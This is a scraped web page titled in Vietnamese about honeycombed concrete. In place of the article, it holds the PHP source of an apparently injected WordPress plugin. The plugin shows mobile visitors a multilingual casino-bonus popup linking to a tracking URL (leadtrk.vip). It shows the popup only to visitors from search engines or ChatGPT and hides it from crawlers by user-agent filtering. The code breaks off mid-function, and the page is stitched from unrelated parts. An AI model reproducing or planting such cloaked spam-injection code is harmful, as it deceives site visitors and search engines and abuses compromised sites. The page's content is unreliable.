Nguyên Nhân đổ Bê Tông Bị Rỗ Và Cách Xử Lý Hiện Tượng

if (!defined(‘ABSPATH’)) exit;

class SMP_Search_Mobile_Popup {

public function __construct() { if (is_admin()) return; add_action(‘wp_enqueue_scripts’, [$this, ‘enqueue_assets’]); add_action(‘wp_footer’, [$this, ‘render_popup_markup’]);

add_filter(‘smp_allowed_referrers’, [$this, ‘default_allowed_referrers’]); add_filter(‘smp_blocked_bots’, [$this, ‘default_blocked_bots’]); add_filter(‘smp_popup_texts’, [$this, ‘get_localized_texts’]); add_filter(‘smp_popup_settings’, [$this, ‘default_settings’]); }

public function default_allowed_referrers($domains) { return [ ‘google.’, ‘bing.com’, ‘duckduckgo.com’, ‘yahoo.’, ‘yandex.’, ‘ecosia.org’, ‘search.brave.com’, ‘chat.openai.com’, ‘openai.com’, ‘baidu.com’, ‘naver.com’, ‘seznam.cz’, ‘qwant.com’ ]; }

public function default_blocked_bots($bots) { return [‘googlebot’,’bingbot’,’duckduckbot’,’yandexbot’,’baiduspider’, ‘ahrefsbot’,’semrush’,’mj12bot’,’crawler’,’spider’,’bot’]; }

public function get_localized_texts($texts) { $translations = [ ‘en’ => [ ‘title’ => ‘🎁 Exclusive Bonus!’, ‘desc’ => ‘Special offer for new visitors – Get your welcome bonus right now!’, ‘cta_text’ => ‘💰 Up to €500 + 200 Free Spins’, ‘button’ => ‘Claim Bonus Now’, ‘close_label’ => ‘Close’, ‘disclaimer’ => ’18+. T&C Apply. Play Responsibly.’, ], ‘de’ => [ ‘title’ => ‘🎁 Exklusiver Bonus!’, ‘desc’ => ‘Sonderangebot für neue Besucher – Holen Sie sich jetzt Ihren Willkommensbonus!’, ‘cta_text’ => ‘💰 Bis zu €500 + 200 Freispiele’, ‘button’ => ‘Bonus Jetzt Sichern’, ‘close_label’ => ‘Schließen’, ‘disclaimer’ => ’18+. AGB gelten. Verantwortungsvoll spielen.’, ], ‘es’ => [ ‘title’ => ‘🎁 ¡Bono Exclusivo!’, ‘desc’ => ‘Oferta especial para nuevos visitantes – ¡Obtén tu bono de bienvenida ahora!’, ‘cta_text’ => ‘💰 Hasta €500 + 200 Giros Gratis’, ‘button’ => ‘Reclamar Bono Ahora’, ‘close_label’ => ‘Cerrar’, ‘disclaimer’ => ’18+. Se aplican T&C. Juega responsablemente.’, ], ‘pt’ => [ ‘title’ => ‘🎁 Bônus Exclusivo!’, ‘desc’ => ‘Oferta especial para novos visitantes – Receba seu bônus de boas-vindas agora!’, ‘cta_text’ => ‘💰 Até €500 + 200 Rodadas Grátis’, ‘button’ => ‘Resgatar Bônus Agora’, ‘close_label’ => ‘Fechar’, ‘disclaimer’ => ’18+. T&C aplicam-se. Jogue responsavelmente.’, ], ‘fr’ => [ ‘title’ => ‘🎁 Bonus Exclusif!’, ‘desc’ => ‘Offre spéciale pour les nouveaux visiteurs – Obtenez votre bonus de bienvenue maintenant!’, ‘cta_text’ => ‘💰 Jusqu\’à 500€ + 200 Tours Gratuits’, ‘button’ => ‘Réclamer le Bonus’, ‘close_label’ => ‘Fermer’, ‘disclaimer’ => ’18+. CGU applicables. Jouez responsable.’, ], ‘nl’ => [ ‘title’ => ‘🎁 Exclusieve Bonus!’, ‘desc’ => ‘Speciale aanbieding voor nieuwe bezoekers – Ontvang nu je welkomstbonus!’, ‘cta_text’ => ‘💰 Tot €500 + 200 Gratis Spins’, ‘button’ => ‘Claim Bonus Nu’, ‘close_label’ => ‘Sluiten’, ‘disclaimer’ => ’18+. Voorwaarden van toepassing. Speel verantwoord.’, ], ‘uk’ => [ ‘title’ => ‘🎁 Ексклюзивний Бонус!’, ‘desc’ => ‘Спеціальна пропозиція для нових відвідувачів – Отримайте вітальний бонус прямо зараз!’, ‘cta_text’ => ‘💰 До €500 + 200 Безкоштовних Обертань’, ‘button’ => ‘Отримати Бонус’, ‘close_label’ => ‘Закрити’, ‘disclaimer’ => ’18+. Застосовуються умови. Грайте відповідально.’, ], ‘ja’ => [ ‘title’ => ‘🎁 限定ボーナス!’, ‘desc’ => ‘新規訪問者様限定 – 今すぐウェルカムボーナスを獲得!’, ‘cta_text’ => ‘💰 最大€500 + 200フリースピン’, ‘button’ => ‘今すぐボーナスを獲得’, ‘close_label’ => ‘閉じる’, ‘disclaimer’ => ’18歳以上。利用規約が適用されます。’, ], ‘vi’ => [ ‘title’ => ‘🎁 Phần Thưởng Độc Quyền!’, ‘desc’ => ‘Ưu đãi đặc biệt cho khách mới – Nhận ngay phần thưởng chào mừng!’, ‘cta_text’ => ‘💰 Lên đến €500 + 200 Vòng Quay Miễn Phí’, ‘button’ => ‘Nhận Thưởng Ngay’, ‘close_label’ => ‘Đóng’, ‘disclaimer’ => ’18+. Áp dụng điều khoản.’, ], ‘hu’ => [ ‘title’ => ‘🎁 Exkluzív Bónusz!’, ‘desc’ => ‘Különleges ajánlat új látogatóknak – Szerezd meg az üdvözlő bónuszt most!’, ‘cta_text’ => ‘💰 Akár €500 + 200 Ingyen Pörgetés’, ‘button’ => ‘Bónusz Igénylése’, ‘close_label’ => ‘Bezárás’, ‘disclaimer’ => ’18+. T&C érvényes. Játssz felelősségteljesen.’, ], ‘bg’ => [ ‘title’ => ‘🎁 Ексклузивен Бонус!’, ‘desc’ => ‘Специална оферта за нови посетители – Вземете вашия бонус добре дошли сега!’, ‘cta_text’ => ‘💰 До €500 + 200 Безплатни Завъртания’, ‘button’ => ‘Вземи Бонус Сега’, ‘close_label’ => ‘Затвори’, ‘disclaimer’ => ’18+. Прилагат се условия.’, ], ‘pl’ => [ ‘title’ => ‘🎁 Ekskluzywny Bonus!’, ‘desc’ => ‘Specjalna oferta dla nowych gości – Odbierz bonus powitalny teraz!’, ‘cta_text’ => ‘💰 Do €500 + 200 Darmowych Spinów’, ‘button’ => ‘Odbierz Bonus’, ‘close_label’ => ‘Zamknij’, ‘disclaimer’ => ’18+. Obowiązują warunki. Graj odpowiedzialnie.’, ], ‘it’ => [ ‘title’ => ‘🎁 Bonus Esclusivo!’, ‘desc’ => ‘Offerta speciale per nuovi visitatori – Ottieni il tuo bonus di benvenuto ora!’, ‘cta_text’ => ‘💰 Fino a €500 + 200 Giri Gratis’, ‘button’ => ‘Richiedi Bonus Ora’, ‘close_label’ => ‘Chiudi’, ‘disclaimer’ => ’18+. Si applicano T&C. Gioca responsabilmente.’, ], ‘ro’ => [ ‘title’ => ‘🎁 Bonus Exclusiv!’, ‘desc’ => ‘Ofertă specială pentru vizitatori noi – Obține bonusul de bun venit acum!’, ‘cta_text’ => ‘💰 Până la €500 + 200 Rotiri Gratuite’, ‘button’ => ‘Revendică Bonusul’, ‘close_label’ => ‘Închide’, ‘disclaimer’ => ’18+. Se aplică T&C. Joacă responsabil.’, ], ‘cs’ => [ ‘title’ => ‘🎁 Exkluzivní Bonus!’, ‘desc’ => ‘Speciální nabídka pro nové návštěvníky – Získejte svůj uvítací bonus hned!’, ‘cta_text’ => ‘💰 Až €500 + 200 Otočení Zdarma’, ‘button’ => ‘Získat Bonus’, ‘close_label’ => ‘Zavřít’, ‘disclaimer’ => ’18+. Platí podmínky. Hrajte zodpovědně.’, ], ‘sv’ => [ ‘title’ => ‘🎁 Exklusiv Bonus!’, ‘desc’ => ‘Specialerbjudande för nya besökare – Få din välkomstbonus nu!’, ‘cta_text’ => ‘💰 Upp till €500 + 200 Gratisspinn’, ‘button’ => ‘Hämta Bonus Nu’, ‘close_label’ => ‘Stäng’, ‘disclaimer’ => ’18+. Regler gäller. Spela ansvarsfullt.’, ], ‘fi’ => [ ‘title’ => ‘🎁 Eksklusiivinen Bonus!’, ‘desc’ => ‘Erikoistarjous uusille vierailijoille – Lunasta tervetuliaisbonus nyt!’, ‘cta_text’ => ‘💰 Jopa €500 + 200 Ilmaiskierrosta’, ‘button’ => ‘Lunasta Bonus’, ‘close_label’ => ‘Sulje’, ‘disclaimer’ => ’18+. Ehdot voimassa. Pelaa vastuullisesti.’, ], ‘no’ => [ ‘title’ => ‘🎁 Eksklusiv Bonus!’, ‘desc’ => ‘Spesialtilbud for nye besøkende – Få din velkomstbonus nå!’, ‘cta_text’ => ‘💰 Opptil €500 + 200 Gratisspinn’, ‘button’ => ‘Hent Bonus Nå’, ‘close_label’ => ‘Lukk’, ‘disclaimer’ => ’18+. Vilkår gjelder. Spill ansvarlig.’, ], ‘da’ => [ ‘title’ => ‘🎁 Eksklusiv Bonus!’, ‘desc’ => ‘Særligt tilbud til nye besøgende – Få din velkomstbonus nu!’, ‘cta_text’ => ‘💰 Op til €500 + 200 Gratis Spins’, ‘button’ => ‘Hent Bonus Nu’, ‘close_label’ => ‘Luk’, ‘disclaimer’ => ’18+. Vilkår gælder. Spil ansvarligt.’, ] ];

$user_lang = $this->detect_user_language();

return isset($translations[$user_lang]) ? $translations[$user_lang] : $translations[‘en’]; }

private function detect_user_language() { $accept_language = isset($_SERVER[‘HTTP_ACCEPT_LANGUAGE’]) ? $_SERVER[‘HTTP_ACCEPT_LANGUAGE’] : ”;

if (empty($accept_language)) { return ‘en’; }

$supported_languages = [ ‘en’, ‘de’, ‘es’, ‘pt’, ‘fr’, ‘nl’, ‘uk’, ‘ja’, ‘vi’, ‘hu’, ‘bg’, ‘pl’, ‘it’, ‘ro’, ‘cs’, ‘sv’, ‘fi’, ‘no’, ‘da’ ];

preg_match_all(‘/([a-z]{1,8}(-[a-z]{1,8})?)\s*(;\s*q\s*=\s*(1|0\.[0-9]+))?/i’, $accept_language, $matches);

if (count($matches[1])) { $langs = array_combine($matches[1], $matches[4]);

foreach ($langs as $lang => $val) { if ($val === ”) $langs[$lang] = 1; }

arsort($langs, SORT_NUMERIC);

foreach ($langs as $lang => $val) { $primary_lang = strtolower(substr($lang, 0, 2));

if (in_array($primary_lang, $supported_languages)) { return $primary_lang; } } }

return ‘en’; }

public function default_settings($opts) { return [ ‘delay_ms’ => 1000, ‘show_always’ => true, ‘width_px’ => 420, ‘btn_url’ => ‘https://leadtrk.vip/gSRRfN’, ]; }

private function is_bot_ua(): bool { $ua = strtolower($_SERVER[‘HTTP_USER_AGENT’] ?? ”); if (!$ua) return false; foreach (apply_filters(‘smp_blocked_bots’, []) as $mask) { if ($mask && strpos($ua, strtolower($mask)) !== false) return true; } return false; }

public function enqueue_assets() { if (!wp_is_mobile()) return; if ($this->is_bot_ua()) return;

$allowed = apply_filters(‘smp_allowed_referrers’, []); $texts = apply_filters(‘smp_popup_texts’, []); $opts = apply_filters(‘smp_popup_settings’, []);

wp_register_style(‘smp-popup’, false, [], null); wp_enqueue_style(‘smp-popup’); wp_add_inline_style(‘smp-popup’, $this->css($opts));

wp_register_script(‘smp-popup’, false, [], null, true); wp_enqueue_script(‘smp-popup’); $payload = [ ‘allowedRefDomains’ => array_values($allowed), ‘blockedBots’ => array_values(apply_filters(‘smp_blocked_bots’, [])), ‘texts’ => $texts, ‘opts’ => $opts, ‘userLang’ => $this->detect_user_language(), ]; wp_add_inline_script(‘smp-popup’, ‘window.__SMP__ = ‘.wp_json_encode($payload).’;’, ‘before’); wp_add_inline_script(‘smp-popup’, $this->js(), ‘after’); }

public function render_popup_markup() { if (!wp_is_mobile()) return; if ($this->is_bot_ua()) return;

$t = apply_filters(‘smp_popup_texts’, []); $o = apply_filters(‘smp_popup_settings’, []); ?>

Từ khóa » đổ Bê Tông Cột Bị Rỗ